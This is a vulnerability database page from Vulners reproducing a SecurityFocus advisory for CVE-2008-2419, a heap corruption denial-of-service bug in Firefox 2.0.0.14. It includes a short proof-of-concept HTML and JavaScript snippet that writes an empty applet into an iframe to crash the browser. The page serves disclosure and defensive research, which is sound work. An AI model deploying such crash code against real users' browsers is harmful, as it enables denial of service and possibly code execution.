Vulners
Lucene search
Mozilla Firefox 2.0.0.14 - JSframe Heap Corruption Denial of Service
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | The vulnerability of the Mozilla Firefox and Sailfish Browser browsers, related to resource management errors, allows attackers to trigger service failures or execute arbitrary code. | 7 Oct 202000:00 | – | bdu_fstec |
 | CVE-2008-2419 | 21 May 200800:00 | – | circl |
 | CVE-2008-2419 | 23 May 200815:00 | – | cve |
 | CVE-2008-2419 | 23 May 200815:00 | – | cvelist |
 | EUVD-2008-2414 | 7 Oct 202500:30 | – | euvd |
 | CVE-2008-2419 | 23 May 200815:32 | – | nvd |
 | Design/Logic Flaw | 23 May 200815:32 | – | prion |
 | CVE-2008-2419 | 23 May 200815:32 | – | ubuntucve |
source: https://www.securityfocus.com/bid/29318/info
Mozilla Firefox is prone to a remote denial-of-service vulnerability when running certain JavaScript commands on empty applets in an iframe.
Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.
This issue affects Firefox 2.0.0.14; other versions may also be vulnerable.
<script> // It might not work on your platform due to a ton of reasons. // tested on WinXP SP2 JRE version 1.6.0_01 function run() { var data = '<applet src="javascript:" id="x">'; y.document.open(); y.document.write(data); y.document.close(); } </script> <input name="button" value="Run" onclick="run()" type="button"> <iframe name="y" id="x" src="" frameborder="1" height="200"></iframe>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
22 Feb 2014 00:00Current
6Medium risk
Vulners AI Score6
CVSS 24.3
EPSS0.06634